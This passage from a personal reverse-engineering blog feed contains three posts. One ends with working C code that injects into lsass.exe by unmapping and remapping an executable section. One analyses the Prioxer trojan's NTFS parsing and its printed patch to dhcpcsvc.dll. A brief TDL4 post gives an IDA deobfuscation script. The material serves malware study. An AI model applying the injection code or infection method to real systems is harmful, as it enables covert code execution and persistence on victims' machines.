color="#FF0000">{</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"[-] ReadProcessMemory failed</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">);</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(-</font><font color="#993399">1</font><font color="#990000">);</font> <font color="#FF0000">}</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"[+] ImageBase = 0x%x</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">,</font> ImageBase<font color="#990000">);</font> <font color="#009900">char</font> read_proc<font color="#990000">[</font><font color="#993399">0x6000</font><font color="#990000">];</font> <b><font color="#0000FF">if</font></b> <font color="#990000">(!</font><b><font color="#000000">ReadProcessMemory</font></b><font color="#990000">(</font>pi<font color="#990000">.</font>hProcess<font color="#990000">,</font> <font color="#990000">(</font>LPCVOID<font color="#990000">)</font>ImageBase<font color="#990000">,</font> read_proc<font color="#990000">,</font> <font color="#993399">0x6000</font><font color="#990000">,</font> <font color="#990000">&amp;</font>nb_read<font color="#990000">)</font> <font color="#990000">&amp;&amp;</font> nb_read <font color="#990000">!=</font> <font color="#993399">0x6000</font><font color="#990000">)</font> <font color="#FF0000">{</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"[-] ReadProcessMemory failed</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">);</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(-</font><font color="#993399">1</font><font color="#990000">);</font> <font color="#FF0000">}</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"(dbg) Two first bytes : %c%c</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">,</font> read_proc<font color="#990000">[</font><font color="#993399">0</font><font color="#990000">],</font> read_proc<font color="#990000">[</font><font color="#993399">1</font><font color="#990000">]);</font> oep <font color="#990000">=</font> <b><font color="#000000">get_entrypoint</font></b><font color="#990000">(</font>read_proc<font color="#990000">);</font> <font color="#008080">LARGE_INTEGER</font> a<font color="#990000">;</font> a<font color="#990000">.</font>HighPart <font color="#990000">=</font> <font color="#993399">0</font><font color="#990000">;</font> a<font color="#990000">.</font>LowPart <font color="#990000">=</font> <font color="#993399">0x8EF6</font><font color="#990000">;</font> <b><font color="#0000FF">if</font></b> <font color="#990000">((</font>stat <font color="#990000">=</font> <b><font color="#000000">ZwCreateSection</font></b><font color="#990000">(&amp;</font>hsect<font color="#990000">,</font> SECTION_ALL_ACCESS<font color="#990000">,</font> NULL<font color="#990000">,</font> <font color="#990000">&amp;</font>a<font color="#990000">,</font> PAGE_EXECUTE_READWRITE<font color="#990000">,</font> SEC_COMMIT<font color="#990000">,</font> NULL<font color="#990000">))</font> <font color="#990000">!=</font> STATUS_SUCCESS<font color="#990000">)</font> <font color="#FF0000">{</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"[-] ZwCreateSection failed</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">);</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"[-] NTSTATUS = %x</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">,</font> stat<font color="#990000">);</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(-</font><font color="#993399">1</font><font color="#990000">);</font> <font color="#FF0000">}</font> <font color="#008080">SIZE_T</font> size<font color="#990000">;</font> size <font color="#990000">=</font> <font color="#993399">0x8000</font><font color="#990000">;</font> BaseAddress <font color="#990000">=</font> <font color="#990000">(</font>PVOID<font color="#990000">)</font><font color="#993399">0</font><font color="#990000">;</font> <b><font color="#0000FF">if</font></b> <font color="#990000">((</font>stat <font color="#990000">=</font> <b><font color="#000000">ZwMapViewOfSection</font></b><font color="#990000">(</font>hsect<font color="#990000">,</font> <b><font color="#000000">GetCurrentProcess</font></b><font color="#990000">(),</font> <font color="#990000">&amp;</font>BaseAddress<font color="#990000">,</font> NULL<font color="#990000">,</font> NULL<font color="#990000">,</font> NULL<font color="#990000">,</font> <font color="#990000">&amp;</font>size<font color="#990000">,</font> <font color="#993399">1</font> <i><font color="#9A1900">/* ViewShare */</font></i><font color="#990000">,</font> NULL<font color="#990000">,</font> PAGE_EXECUTE_READWRITE<font color="#990000">))</font> <font color="#990000">!=</font> STATUS_SUCCESS<font color="#990000">)</font> <font color="#FF0000">{</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"[-] ZwMapViewOfSection failed</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">);</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"[-] NTSTATUS = %x</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">,</font> stat<font color="#990000">);</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(-</font><font color="#993399">1</font><font color="#990000">);</font> <font color="#FF0000">}</font> <b><font color="#000000">memset</font></b><font color="#990000">((</font>BYTE<font color="#990000">*)</font>read_proc <font color="#990000">+</font> oep<font color="#990000">,</font> <font color="#993399">0xCC</font><font color="#990000">,</font> <font color="#993399">1</font><font color="#990000">);</font> <b><font color="#000000">memcpy</font></b><font color="#990000">(</font>BaseAddress<font color="#990000">,</font> read_proc<font color="#990000">,</font> <font color="#993399">0x2000</font><font color="#990000">);</font> BaseAddress <font color="#990000">=</font> <font color="#990000">(</font>PVOID<font color="#990000">)</font>ImageBase<font color="#990000">;</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"BaseAddress = %x</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">,</font> BaseAddress<font color="#990000">);</font> <b><font color="#000000">ZwUnmapViewOfSection</font></b><font color="#990000">(</font>pi<font color="#990000">.</font>hProcess<font color="#990000">,</font> BaseAddress<font color="#990000">);</font> <b><font color="#0000FF">if</font></b> <font color="#990000">((</font>stat <font color="#990000">=</font> <b><font color="#000000">ZwMapViewOfSection</font></b><font color="#990000">(</font>hsect<font color="#990000">,</font> pi<font color="#990000">.</font>hProcess<font color="#990000">,</font> <font color="#990000">&amp;</font>BaseAddress<font color="#990000">,</font> NULL<font color="#990000">,</font> NULL<font color="#990000">,</font> NULL<font color="#990000">,</font> <font color="#990000">&amp;</font>size<font color="#990000">,</font> <font color="#993399">1</font> <i><font color="#9A1900">/* ViewShare */</font></i><font color="#990000">,</font> NULL<font color="#990000">,</font> PAGE_EXECUTE_READWRITE<font color="#990000">))</font> <font color="#990000">!=</font> STATUS_SUCCESS<font color="#990000">)</font> <font color="#FF0000">{</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"[-] ZwMapViewOfSection failed</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">);</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"[-] NTSTATUS = %x</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">,</font> stat<font color="#990000">);</font> <b><font color="#000000">system</font></b><font color="#990000">(</font><font color="#FF0000">"pause"</font><font color="#990000">);</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(-</font><font color="#993399">1</font><font color="#990000">);</font> <font color="#FF0000">}</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"BaseAddress = %x</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">,</font> BaseAddress<font color="#990000">);</font> <b><font color="#000000">ResumeThread</font></b><font color="#990000">(</font>pi<font color="#990000">.</font>hThread<font color="#990000">);</font> <b><font color="#000000">system</font></b><font color="#990000">(</font><font color="#FF0000">"pause"</font><font color="#990000">);</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(</font><font color="#993399">0</font><font color="#990000">);</font> <font color="#FF0000">}</font></tt></pre> <p>And the include file :</p> <pre><tt><b><font color="#000080">#include</font></b> <font color="#FF0000">&lt;stdio.h&gt;</font> <b><font color="#000080">#include</font></b> <font color="#FF0000">&lt;Windows.h&gt;</font> <b><font color="#000080">#if</font></b> <font color="#990000">!</font>defined NTSTATUS <b><font color="#0000FF">typedef</font></b> <font color="#008080">LONG</font> NTSTATUS<font color="#990000">;</font> <b><font color="#000080">#endif</font></b> <b><font color="#000080">#define</font></b> STATUS_SUCCESS <font color="#993399">0</font> <b><font color="#000080">#if</font></b> <font color="#990000">!</font>defined PROCESSINFOCLASS <b><font color="#0000FF">typedef</font></b> <font color="#008080">LONG</font> PROCESSINFOCLASS<font color="#990000">;</font> <b><font color="#000080">#endif</font></b> <b><font color="#000080">#if</font></b> <font color="#990000">!</font>defined PPEB <b><font color="#0000FF">typedef</font></b> <b><font color="#0000FF">struct</font></b> <font color="#008080">_PEB</font> <font color="#990000">*</font>PPEB<font color="#990000">;</font> <b><font color="#000080">#endif</font></b> <b><font color="#000080">#if</font></b> <font color="#990000">!</font><font color="#008080">defined</font> PROCESS_BASIC_INFORMATION <b><font color="#0000FF">typedef</font></b> <b><font color="#0000FF">struct</font></b> <font color="#008080">_PROCESS_BASIC_INFORMATION</font> <font color="#FF0000">{</font> <font color="#008080">PVOID</font> Reserved1<font color="#990000">;</font> <font color="#008080">PPEB</font> PebBaseAddress<font color="#990000">;</font> <font color="#008080">PVOID</font> Reserved2<font color="#990000">[</font><font color="#993399">2</font><font color="#990000">];</font> <font color="#008080">ULONG_PTR</font> UniqueProcessId<font color="#990000">;</font> <font color="#008080">PVOID</font> Reserved3<font color="#990000">;</font> <font color="#FF0000">}</font> PROCESS_BASIC_INFORMATION<font color="#990000">;</font> <b><font color="#000080">#endif</font></b><font color="#990000">;</font> <b><font color="#0000FF">typedef</font></b> <font color="#008080">LONG</font> NTSTATUS<font color="#990000">,</font> <font color="#990000">*</font>PNTSTATUS<font color="#990000">;</font> <b><font color="#0000FF">typedef</font></b> <b><font color="#0000FF">struct</font></b> <font color="#008080">_UNICODE_STRING</font> <font color="#FF0000">{</font> <font color="#008080">USHORT</font> Length<font color="#990000">;</font> <font color="#008080">USHORT</font> MaximumLength<font color="#990000">;</font> <font color="#008080">PWSTR</font> Buffer<font color="#990000">;</font> <font color="#FF0000">}</font> UNICODE_STRING<font color="#990000">,</font> <font color="#990000">*</font>PUNICODE_STRING<font color="#990000">;</font> <b><font color="#0000FF">typedef</font></b> <b><font color="#0000FF">struct</font></b> <font color="#008080">_OBJECT_ATTRIBUTES</font> <font color="#FF0000">{</font> <font color="#008080">ULONG</font> Length<font color="#990000">;</font> <font color="#008080">HANDLE</font> RootDirectory<font color="#990000">;</font> <font color="#008080">PUNICODE_STRING</font> ObjectName<font color="#990000">;</font> <font color="#008080">ULONG</font> Attributes<font color="#990000">;</font> <font color="#008080">PVOID</font> SecurityDescriptor<font color="#990000">;</font> <font color="#008080">PVOID</font> SecurityQualityOfService<font color="#990000">;</font> <font color="#FF0000">}</font> OBJECT_ATTRIBUTES<font color="#990000">,</font> <font color="#990000">*</font>POBJECT_ATTRIBUTES<font color="#990000">;</font> <b><font color="#0000FF">typedef</font></b> <b><font color="#000000">NTSTATUS</font></b> <font color="#990000">(</font>WINAPI <font color="#990000">*</font> PFN_ZWQUERYINFORMATIONPROCESS<font color="#990000">)(</font>HANDLE<font color="#990000">,</font> PROCESSINFOCLASS<font color="#990000">,</font> PVOID<font color="#990000">,</font> ULONG<font color="#990000">,</font> PULONG<font color="#990000">);</font> <b><font color="#000000">NTSTATUS</font></b> <font color="#990000">(</font><b><font color="#0000FF">__stdcall</font></b> <font color="#990000">*</font>ZwQueryInformationProcess<font color="#990000">)(</font> <font color="#008080">HANDLE</font> ProcessHandle<font color="#990000">,</font> <font color="#008080">PROCESSINFOCLASS</font> ProcessInformationClass<font color="#990000">,</font> <font color="#008080">PVOID</font> ProcessInformation<font color="#990000">,</font> <font color="#008080">ULONG</font> ProcessInformationLength<font color="#990000">,</font> PULONG ReturnLength OPTIONAL <font color="#990000">);</font> <b><font color="#000000">NTSTATUS</font></b> <font color="#990000">(</font><b><font color="#0000FF">__stdcall</font></b> <font color="#990000">*</font>ZwCreateSection<font color="#990000">)(</font> <font color="#008080">PHANDLE</font> SectionHandle<font color="#990000">,</font> <font color="#008080">ACCESS_MASK</font> DesiredAccess<font color="#990000">,</font> PDWORD <font color="#008080">ObjectAttributes</font> OPTIONAL<font color="#990000">,</font> PLARGE_INTEGER <font color="#008080">MaximumSize</font> OPTIONAL<font color="#990000">,</font> <font color="#008080">ULONG</font> SectionPageProtection<font color="#990000">,</font> <font color="#008080">ULONG</font> AllocationAttributes<font color="#990000">,</font> HANDLE FileHandle OPTIONAL <font color="#990000">);</font> <b><font color="#000000">NTSTATUS</font></b> <font color="#990000">(</font><b><font color="#0000FF">__stdcall</font></b> <font color="#990000">*</font>ZwMapViewOfSection<font color="#990000">)</font> <font color="#990000">(</font> <font color="#008080">HANDLE</font> SectionHandle<font color="#990000">,</font> <font color="#008080">HANDLE</font> ProcessHandle<font color="#990000">,</font> <font color="#008080">OUT</font> <font color="#008080">PVOID</font> <font color="#990000">*</font>BaseAddress<font color="#990000">,</font> <font color="#008080">ULONG_PTR</font> ZeroBits<font color="#990000">,</font> <font color="#008080">SIZE_T</font> CommitSize<font color="#990000">,</font> <font color="#008080">PLARGE_INTEGER</font> SectionOffset<font color="#990000">,</font> <font color="#008080">PSIZE_T</font> ViewSize<font color="#990000">,</font> <font color="#008080">DWORD</font> InheritDisposition<font color="#990000">,</font> <font color="#008080">ULONG</font> AllocationType<font color="#990000">,</font> ULONG Win32Protect <font color="#990000">);</font> <b><font color="#000000">NTSTATUS</font></b> <font color="#990000">(</font><b><font color="#0000FF">__stdcall</font></b> <font color="#990000">*</font>ZwUnmapViewOfSection<font color="#990000">)(</font> <font color="#008080">HANDLE</font> ProcessHandle<font color="#990000">,</font> PVOID BaseAddress <font color="#990000">);</font></tt></pre> <p>So for the p0c i just put a INT3 at entry point of lsass.exe, and here the result :</p> <p><img src="/public/p0clsass.png" alt="p0clsass.png" /><br/></p> <h2>Conclusion</h2> <p>This method is really fun because it don't use <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms680632(v=vs.85).aspx">SetThreadContext()</a>, for updating eip before resuming thread execution.</p> http://blog.w4kfu.compost/new_method_of_injection 2011-11-06T00:41:20Z 2011-11-06T00:41:20Z Prioxer w4kfu <h2>Introduction</h2> <p>An (IRC) friend <a href="http://www.horghsblog.blogspot.com/">Horgh</a> told me : &quot;Why not study prioxer, it could be fun ?&quot;.<br/> But what is prioxer ?<br/> It's simply a backdoor Trojan, wich has a dropper with his own parser for NTFS and FAT format.<br/> That's why it's fun :], it was a cool way to study approximately how can work <a href="http://en.wikipedia.org/wiki/NTFS">NTFS File System</a>.</p> <h2>Prioxer</h2> <p>First I looked around for finding a sample ( <a href="www.virustotal.com/file-scan/report.html?id=06e921abf28c4b260c59d61d84a74c3a5dc12ac99a34110ca5480ce61689385c-1319036588">31 / 42</a> ) : <pre> MD5 : 7e3903944eab7b61b495572baa60fb72 SHA1 : 116930517baab6bdb0829990a43af54d155f5332 SHA256: 06e921abf28c4b260c59d61d84a74c3a5dc12ac99a34110ca5480ce61689385c </pre> The thing it will do is to infect the dll &quot;dhcpcsvc.dll&quot; ( we will see after what the purpose of the infection ).<br/></p> <h2>NTFS</h2> <p>(This is not a tutorial about NTFS, it's just result af all the stuff reversed from prioxer, i wanted to have fun with IDA, and take some challenge by not looking too much documentation or source code like ntfs-3g, so if there is some mistake please refer to your friend google for more about NTFS).<br/> But it will not directly open an handle (<a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx">CreateFile()</a>)on this file which is located in &quot;%SYSTEMROOT%/System32/&quot;.<br/> It will open an handle on your current hard disk driver( like C: ).<br/> So here is a schem about how it works :</p> <p><img src="/public/ntfsboot.png" alt="ntfsboot.png" /><br/></p> <p>The first thing, we must know on NTFS : all data stored on a volume is contained in file, including data structures used to locate and retrieve files.<br/> A NTFS Volume, will start every time, with a data structures, named NTFS Volume Boot Record, she is here for gathering a maximum of information about the volume, like Number Of Sector, or Bytes Per Sector, ... etc ...<br/> Then with thoses informations, we can access the MFT (Master File Table) which is the heart of the NTFS, it is implemented as an array of file records.<br/> Shel will contain one record, for each file on the volume including a record for the MFT itself.<br/> I will not describe all these files, but a special one : Root directory (also known as &quot;\&quot; or &quot;$I30&quot;). This file record contains an index of the files and directories stored in the root of the NTFS directory structure.<br/> You have understood that prioxer will use this File Record :].<br/> But ! if you look at my schem, we know Root_Directory is the fifth entry in the array of file_record, and i don't know why they do that but they compute the offset to read this file_record with values found in in $DATA Attributes from MFT, why they don't compute the offset in this simply way : <pre><code>MFT_Addr + sizeof(FILE_ENTRY) * 5.</code></pre> Anyway, it's not important :], we continue your investigation.<br/> The thing to know is, that every FILE_RECORD has a list of attributes : (especially those)<br/> <ul> <li>$DATA (0x80) : Contents of the file.</li> <li>$INDEX_ROOT, $ALLOCATION (0x90 / 0xA0): Implement file name allocation.</li> </ul> And a new schem, how the mecanism work (I simplified things):</p> <p><img src="/public/ntfspart2.png" alt="ntfspart2.png" /><br/></p> <p>A directory, is simply an index of file names (along with their file references), organized like a <a href="http://en.wikipedia.org/wiki/B-tree">b-tree</a>.<br/> VCN is Virtual Cluster Numbers, a vnc is a linked value to LCN (Logical Cluster Numbers) wich allow to read, write directly on the hardware disk.<br/> So, in your case prioxer will travel the root_directory, look for WINDOWS directory node, then travel &quot;Windows&quot; node, and get &quot;SYSTEM32&quot; node, and get dhcpcsvc.dll.<br/> And he is able now to read, write (with ReadFile() and WriteFile() API) directly to VCNs of this file.<br/> I will not explain more about NTFS, First I'm not familiar with this FileSystem (new for me), and working almost with IDA took me about 2 ~ 3 evenings to well understand how prioxer work.<br/> Next time, I will read some docs :], it will be easier.<br/> Ho by the way i wrote some shit for parsing only my root directory :</p> <pre><code>FileSystemName = NTFS [+] Some information about NTFS BPB Sector Size = 512 Sector Per Cluster = 8 Reserved Sectors = 0 Media Descriptor ID = 248 Sector Per Track = 56 Number Of Heads = 255 Hidden Sectors = 56 TotalSectors = 41926023 Starting Cluster Number for the $MFT = 786432 Starting Cluster Number for the $MFTMirror = 2620376 Clusters Per File Record = 246 Clusters Per Index Block = 1 Volume Serial Number = [+] End Information about NTFS BPB [+] (dbg) Sector Size = 512 bytes [+] (dbg) Cluster Size = 4096 bytes [+] (dbg) FileRecord Size = 1024 bytes Size = 0 [+] FILE_RECORD_MAGIC OK [+] (dbg) OffsetOfAttr = 38 [+] Information about actual ATTRIBUTE ATTR_TYPE = 10 Value Length = 30 CreateTime = 2d458880 [+] Information about actual ATTRIBUTE ATTR_TYPE = 30 Value Length = 44 ParentRef = 5 AllocSize = 0 RealSize = 0 [+] Information about actual ATTRIBUTE ATTR_TYPE = 50 [+] Information about actual ATTRIBUTE ATTR_TYPE = 90 NameLength = 4 NameOffset = 18 Name = $I30 Attr_type = 30 EntryOffset = 10 TotalEntrySize = 28 AllocEntrySize = 28 Flags = 1 FileReference = 0 Size = 18 StreamSize = 0 Flags = 3 -- INDEX ENTRY -- FileReference = 0 Size = 18 StreamSize = 0 Flags = 3 SUB NODE ! GetSubNodeVCN = 0 [+]STREAM OK ... Name : $AttrDef [+]STREAM OK ... Name : $BadClus [+]STREAM OK ... Name : $Bitmap [+]STREAM OK ... Name : $Boot [+]STREAM OK ... Name : $Extend [+]STREAM OK ... Name : $LogFile [+]STREAM OK ... Name : $MFT [+]STREAM OK ... Name : $MFTMirr [+]STREAM OK ... Name : $Secure [+]STREAM OK ... Name : $UpCase [+]STREAM OK ... Name : $Volume [+]STREAM OK ... Name : . [+]STREAM OK ... Name : AUTOEXEC.BAT [+]STREAM OK ... Name : boot.ini [+]STREAM OK ... Name : Bootfont.bin [+]STREAM OK ... Name : CONFIG.SYS [+]STREAM OK ... Name : Documents and Settings [+]STREAM OK ... Name : DOCUME~1 [+]STREAM OK ... Name : IO.SYS [+]STREAM OK ... Name : MSDOS.SYS [+]STREAM OK ... Name : NTDETECT.COM [+]STREAM OK ... Name : ntldr [+]STREAM OK ... Name : pagefile.sys [+]STREAM OK ... Name : Program Files [+]STREAM OK ... Name : PROGRA~1 [+]STREAM OK ... Name : RECYCLER [+]STREAM OK ... Name : System Volume Information [+]STREAM OK ... Name : SYSTEM~1 [+]STREAM OK ... Name : Toolz [+]STREAM OK ... Name : WINDOWS Last Index Entry -- END INDEX ENTRY -- LAST INDEX !!! [+] Information about actual ATTRIBUTE ATTR_TYPE = a0 [+] Information about actual ATTRIBUTE ATTR_TYPE = b0 </code></pre> And here is the source code :<br/> <ul> <li>main.c</li> <li>ReadCluster.c</li> <li>ntfs.h</li> </ul> <h2>Infection</h2> Ok so now we know that prioxer will do some shit with this file, but what !?<br/> So prioxer will change the offset value, of "ServiceMain" exported function :<br/> <img src="/public/peid_prioxer.png" alt="peid_prioxer.png" /><br/> And put some code in .text section located at ServiceMain changed offset : <pre><code><span style="color:black">.text:7D4EC895 .text:7D4EC895 .text:7D4EC895 </span>public ServiceMain <span style="color:black">.text:7D4EC895 </span>ServiceMain proc near <span style="color:#8080ff">; DATA XREF: .text:off_7D4D1FCCo </span><span style="color:black">.text:7D4EC895 </span><span style="color:navy">inc ecx </span><span style="color:black">.text:7D4EC896 </span><span style="color:navy">dec ecx </span><span style="color:black">.text:7D4EC897 </span><span style="color:navy">add eax, </span><span style="color:green">0 </span><span style="color:black">.text:7D4EC89A </span><span style="color:navy">add edi, </span><span style="color:green">0 </span><span style="color:black">.text:7D4EC89D </span><span style="color:navy">or eax, </span><span style="color:green">0 </span><span style="color:black">.text:7D4EC8A0 </span><span style="color:navy">pusha </span><span style="color:black">.text:7D4EC8A1 </span><span style="color:navy">inc edi </span><span style="color:black">.text:7D4EC8A2 </span><span style="color:navy">dec edi </span><span style="color:black">.text:7D4EC8A3 </span><span style="color:navy">push &#039;</span><span style="color:green">ll&#039; </span><span style="color:black">.text:7D4EC8A8 </span><span style="color:navy">inc eax </span><span style="color:black">.text:7D4EC8A9 </span><span style="color:navy">dec eax </span><span style="color:black">.text:7D4EC8AA </span><span style="color:navy">push &#039;</span><span style="color:green">d.3i&#039; </span><span style="color:black">.text:7D4EC8AF </span><span style="color:navy">xor ebx, </span><span style="color:green">0 </span><span style="color:black">.text:7D4EC8B2 </span><span style="color:navy">push &#039;</span><span style="color:green">patc&#039; </span><span style="color:black">.text:7D4EC8B7 </span><span style="color:navy">mov edx, edx </span><span style="color:black">.text:7D4EC8B9 </span><span style="color:navy">push esp </span>; lpLibFileName <span style="color:black">.text:7D4EC8BA </span><span style="color:navy">or esi, </span><span style="color:green">0 </span><span style="color:black">.text:7D4EC8BD </span><span style="color:navy">call ds:</span><span style="color:#ff00ff">__imp__LoadLibraryA@4 </span><span style="color:gray">; LoadLibraryA(x) </span><span style="color:black">.text:7D4EC8C3 </span><span style="color:navy">xor ebx, </span><span style="color:green">0 </span><span style="color:black">.text:7D4EC8C6 </span><span style="color:navy">pop eax </span><span style="color:black">.text:7D4EC8C7 </span><span style="color:navy">push eax </span><span style="color:black">.text:7D4EC8C8 </span><span style="color:navy">pop eax </span><span style="color:black">.text:7D4EC8C9 </span><span style="color:navy">pop eax </span><span style="color:black">.text:7D4EC8CA </span><span style="color:navy">inc edx </span><span style="color:black">.text:7D4EC8CB </span><span style="color:navy">dec edx </span><span style="color:black">.text:7D4EC8CC </span><span style="color:navy">pop eax </span><span style="color:black">.text:7D4EC8CD </span><span style="color:navy">mov esi, esi </span><span style="color:black">.text:7D4EC8CF </span><span style="color:navy">popa </span><span style="color:black">.text:7D4EC8D0 </span><span style="color:navy">add esi, </span><span style="color:green">0 </span><span style="color:black">.text:7D4EC8D3 </span><span style="color:navy">mov eax, offset </span>_ServiceMain@8 <span style="color:gray">; ServiceMain(x,x) </span><span style="color:black">.text:7D4EC8D8 </span><span style="color:navy">mov ecx, ecx </span><span style="color:black">.text:7D4EC8DA </span><span style="color:navy">jmp eax </span><span style="color:black">.text:7D4EC8DA </span>ServiceMain endp <span style="color:black">.text:7D4EC8DA .text:7D4EC8DA </span> </code></pre> <p>The snippet of code, will simply load a library with a random name in our case &quot;ctapi3.dll&quot;, dropped by prioxer and then jump to the real address of ServiceMain.<br/> I will not study this dll (you can find her into ressource, directly), it simply a botnet component that can exchange commands and data over IRC with a command-and-control.<br/> Then it write a .bat file, and execute it for deleting the dropper.<br/> The only interesting thing was the infection method via a NTFS parser, and infect a windows dll, wihch will be load each time you want to use DHCP.<br/> Another interesting fact is a side effect of this technics, you can find a dllcache directory in %SYSTEMROOT%, NTFS maintains it for some often used system files.<br/> That's why if you are infected by this trojan, you won't be able to see the difference on dhcpsvc.dll, but a tools like gmer with his own ntfs parser can do it, or if you reboot your computer, you will be able to see it, and your AV too.</p> <h2>Conclusion</h2> <p>Big thanks to <a href="http://www.horghsblog.blogspot.com/">Horgh</a> for the idea of prioxer, what is next target ?</p> http://blog.w4kfu.compost/prioxer 2011-11-05T20:22:57Z 2011-11-05T20:22:57Z Some news, TDL4, IDA w4kfu <h2>Introduction</h2> <p>I received several mail asking me, if I was still active on my blog.<br/> And the answer is YES!, i'm just (very) busy by my internship, and some personal projetcs.<br/> So today I give you some news.</p> <h2>TDL4</h2> <p>I'm sorry for my english readers (if there are), but my draft article about all reverse stuff from tdl4 is written in French. But you can use <a href="http://translate.google.fr/">Google Translate</a> !<br/> So <a href="http://blog.w4kfu.com/public/tdl4_article/draft_tdl4article.html">here is the link to the article</a>.<br/> Be careful this is an oldschool version ( 0.3 ), I'm currently studying new version.<br/></p> <h2>TDL4 (New version)</h2> <p>And we will start with a tricks for detecting Virtual Machine, apparently the new loader do this check, instead of the loader from my article.<br/> Maybe for you it will not be new, but for me it is, I'm a beginner in malware analysis.<br/> It will use <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa394606(v=vs.85).aspx">WQL</a> language to query <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa394582(v=VS.85).aspx">Windows Management Instrumentation</a>.<br/> I will not bore you with disassembly code, but with a picture, that will show you a little script that I wrote for defeating unicode string obfuscation :</p> <p><img src="/public/plugin_ida_deounicode.png" alt="plugin_ida_deounicode.png" /><br/></p> <p>And source code of idc script (I'm maybe doing it wrong, but it's my first) :</p> <pre><tt><b><font color="#000080">#include</font></b> <font color="#FF0000">&lt;idc.idc&gt;</font> <b><font color="#0000FF">static</font></b> <b><font color="#000000">String</font></b><font color="#990000">(</font>ea<font color="#990000">)</font> <font color="#FF0000">{</font> <b><font color="#0000FF">auto</font></b> s<font color="#990000">,</font>b<font color="#990000">,</font>i<font color="#990000">;</font> s <font color="#990000">=</font> <font color="#FF0000">""</font><font color="#990000">;</font> i <font color="#990000">=</font> <font color="#993399">0</font><font color="#990000">;</font> <b><font color="#0000FF">while</font></b><font color="#990000">(</font>i <font color="#990000">&lt;</font> <font color="#993399">2</font><font color="#990000">)</font> <font color="#FF0000">{</font> b <font color="#990000">=</font> <b><font color="#000000">Byte</font></b><font color="#990000">(</font>ea<font color="#990000">);</font> <b><font color="#0000FF">if</font></b> <font color="#990000">(</font>b<font color="#990000">)</font> <font color="#FF0000">{</font> s <font color="#990000">=</font> s <font color="#990000">+</font> <b><font color="#000000">form</font></b><font color="#990000">(</font><font color="#FF0000">"%c"</font><font color="#990000">,</font> b<font color="#990000">);</font> ea <font color="#990000">=</font> ea <font color="#990000">+</font> <font color="#993399">2</font><font color="#990000">;</font> <font color="#FF0000">}</font> i<font color="#990000">++;</font> <font color="#FF0000">}</font> <b><font color="#0000FF">return</font></b> s<font color="#990000">;</font> <font color="#FF0000">}</font> <b><font color="#0000FF">static</font></b> <b><font color="#000000">main</font></b><font color="#990000">()</font> <font color="#FF0000">{</font> <b><font color="#0000FF">auto</font></b> ea<font color="#990000">;</font> <b><font color="#0000FF">auto</font></b> op<font color="#990000">;</font> <b><font color="#0000FF">auto</font></b> str<font color="#990000">;</font> <b><font color="#0000FF">auto</font></b> s<font color="#990000">;</font> ea <font color="#990000">=</font> <b><font color="#000000">SelStart</font></b><font color="#990000">();</font> str <font color="#990000">=</font> <font color="#FF0000">""</font><font color="#990000">;</font> <b><font color="#0000FF">while</font></b> <font color="#990000">(</font>ea <font color="#990000">&lt;</font> <b><font color="#000000">SelEnd</font></b><font color="#990000">())</font> <font color="#FF0000">{</font> <b><font color="#0000FF">if</font></b><font color="#990000">(</font><b><font color="#000000">GetMnem</font></b><font color="#990000">(</font>ea<font color="#990000">)</font> <font color="#990000">!=</font> <font color="#FF0000">"mov"</font><font color="#990000">)</font> <b><font color="#0000FF">break</font></b><font color="#990000">;</font> <b><font color="#0000FF">if</font></b> <font color="#990000">(</font><b><font color="#000000">GetOpType</font></b><font color="#990000">(</font>ea<font color="#990000">,</font> <font color="#993399">1</font><font color="#990000">)</font> <font color="#990000">==</font> <font color="#993399">1</font><font color="#990000">)</font> <b><font color="#0000FF">break</font></b><font color="#990000">;</font> s <font color="#990000">=</font> <b><font color="#000000">String</font></b><font color="#990000">(</font>ea <font color="#990000">+</font> <font color="#993399">7</font><font color="#990000">);</font> str <font color="#990000">=</font> str <font color="#990000">+</font> s<font color="#990000">;</font> ea <font color="#990000">=</font> <b><font color="#000000">FindCode</font></b><font color="#990000">(</font>ea<font color="#990000">,</font> SEARCH_DOWN <font color="#990000">|</font> SEARCH_NEXT<font color="#990000">);</font> <font color="#FF0000">}</font> <b><font color="#000000">Message</font></b><font color="#990000">(</font><font color="#FF0000">"%s</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">,</font> str<font color="#990000">);</font> <font color="#FF0000">}</font></tt></pre> <p>So with this script I was able to see all this interesting stuff :</p> <pre><code>Win32_BIOS Win32_Process 